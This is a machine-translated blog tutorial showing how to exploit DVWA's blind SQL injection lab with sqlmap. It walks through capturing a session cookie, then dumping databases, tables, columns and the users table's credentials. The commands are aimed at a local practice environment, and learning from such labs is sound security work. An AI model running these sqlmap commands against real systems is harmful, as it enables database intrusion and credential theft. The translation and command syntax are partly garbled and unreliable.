DVWA Blind <sqlmap Tool injection >

Low Difficulty!!!

Tools Required: DVWA environment, grab kit, Sqlmap

Grab the bag tool with Fiddler as an example.

=====================================

First enter DVWA adjustment mode is low

650) this.width=650; "Src=" https://s5.51cto.com/wyfs02/M02/9B/78/wKioL1ljdW2QI4wjAAFEEB2f-Rc626.png-wh_500x0-wm_ 3-wmp_4-s_2765360438.png "title=" 1.png "alt=" Wkiol1ljdw2qi4wjaafeeb2f-rc626.png-wh_50 "/>

Open the grab kit and make sure you can catch the HTTP traffic packet

650) this.width=650; "Src=" https://s3.51cto.com/wyfs02/M01/9B/78/wKiom1ljdsSDuVETAABGqbRlDBA287.png-wh_500x0-wm_ 3-wmp_4-s_3695612332.png "title=" 2.png "alt=" Wkiom1ljdssduvetaabgqbrldba287.png-wh_50 "/>

DVWA Select the SQL blind, enter a user ID as you wish, then return

You will see the echo, the user ID exists

Copy this page link, save to Notepad, wait for Sqlmap

650) this.width=650; "Src=" https://s5.51cto.com/wyfs02/M00/9B/78/wKioL1ljd8bggmE_AABOQkIRNrE505.png-wh_500x0-wm_ 3-wmp_4-s_2029917706.png "title=" 3.png "alt=" Wkiol1ljd8bggme_aaboqkirnre505.png-wh_50 "/>

Use the grab Bag tool to get the cookie value from the Web packet submitted

Copy the cookie to Notepad, wait for the Sqlmap

650) this.width=650; "Src=" https://s4.51cto.com/wyfs02/M02/9B/78/wKioL1ljeMSzTd4WAADL11O4GCc331.png-wh_500x0-wm_ 3-wmp_4-s_1222110004.png "title=" 4.png "alt=" Wkiol1ljemsztd4waadl11o4gcc331.png-wh_50 "/>

Open Sqlmap, find injection point

Enter the command:

-u Specify URL

--cookie with Cookie injection

python sqlmap.py - u "localhost/dvwa/vulnerabilities/sqli_blind
Id=2&submit=submit"--cookie="phpsessid=jsqauesftt001qeq4jmb1brq95;security=low "

You will be prompted for the default carriage return during the process.

Result: Injection point may be ID, database is MySQL

650) this.width=650; "Src=" https://s4.51cto.com/wyfs02/M01/9B/79/wKiom1lje1Th9VgMAAA1h_hhIlc003.png-wh_500x0-wm_ 3-wmp_4-s_3373338044.png "title=" 5.png "alt=" Wkiom1lje1th9vgmaaa1h_hhilc003.png-wh_50 "/>

Bomb Vault:

--dbs Discover all databases (with spaces before parameters)

Python sqlmap.py-u "localhost/dvwa/vulnerabilities/sqli_blind/?
Id=2&submit=submit "--cookie=" Phpsessid=jsqauesftt001qeq4jmb1brq95;security=low " --dbs

List the databases:

650) this.width=650; "Src=" https://s5.51cto.com/wyfs02/M02/9B/7A/wKiom1ljgqbANl2zAAAVjUDrBBg515.png-wh_500x0-wm_ 3-wmp_4-s_3332133898.png "title=" 6.png "alt=" Wkiom1ljgqbanl2zaaavjudrbbg515.png-wh_50 "/>

--tables List database tables (with spaces before parameters)

-d Select Database

python sqlmap.py-u "localhost/dvwa/vulnerabilities/sqli_blind/?id=2&submit=submit"--cookie= "PHPSESSID= Jsqauesftt001qeq4jmb1brq95;security=low " --tables-d dvwa

To view the database tables that are listed:

650) this.width=650; "Src=" https://s2.51cto.com/wyfs02/M02/9B/7A/wKioL1ljhFLiATkpAAAa593Jjgc806.png-wh_500x0-wm_ 3-wmp_4-s_1208909928.png "title=" 7.png "alt=" Wkiol1ljhfliatkpaaaa593jjgc806.png-wh_50 "/>

List all fields of the users table

–columns-t "Users"< list all fields of user table in MySQL database > (columns parameter with spaces)

python sqlmap.py-u "localhost/dvwa/vulnerabilities/sqli_blind/?id=2&submit=submit"--cookie= "PHPSESSID= Jsqauesftt001qeq4jmb1brq95;security=low " --columns-t users

You can see the fields

650) this.width=650; "Src=" https://s2.51cto.com/wyfs02/M01/9B/7A/wKiom1ljhgiCXvgKAAAgG1jDZmk462.png-wh_500x0-wm_ 3-wmp_4-s_1191230215.png "title=" 8.png "alt=" Wkiom1ljhgicxvgkaaagg1jdzmk462.png-wh_50 "/>

Save the users table directly to the local

-T users--dump

Python sqlmap.py-u "Localhost/dvwa/vulnerabilities/sqli_blind/?id=2&submit=submit"--cookie= "PHPSESSID= Jsqauesftt001qeq4jmb1brq95;security=low "- t users--dump

650) this.width=650; "Src=" https://s3.51cto.com/wyfs02/M02/9B/7A/wKiom1ljiUHi7ZsGAAAeOKcMurE737.png-wh_500x0-wm_ 3-wmp_4-s_227513226.png "title=" 9.png "alt=" Wkiom1ljiuhi7zsgaaaeokcmure737.png-wh_50 "/>

Open the downloaded file to see the user name, password

650) this.width=650; "Src=" https://s3.51cto.com/wyfs02/M01/9B/7A/wKioL1ljidqxMIKrAAAmxhBrLaQ996.png-wh_500x0-wm_ 3-wmp_4-s_3755158282.png "title=" 10.png "alt=" Wkiol1ljidqxmikraaamxhbrlaq996.png-wh_50 "/>

Final Result:

650) this.width=650; "Src=" https://s2.51cto.com/wyfs02/M02/9B/7B/wKiom1lji7njbkznAADKMpSP_SQ894.png-wh_500x0-wm_ 3-wmp_4-s_3113393289.png "title=" 11.png "alt=" Wkiom1lji7njbkznaadkmpsp_sq894.png-wh_50 "/>

This article is from the "10914757" blog, please be sure to keep this source http://10924757.blog.51cto.com/10914757/1946115

DVWA Blind <sqlmap Tool injection >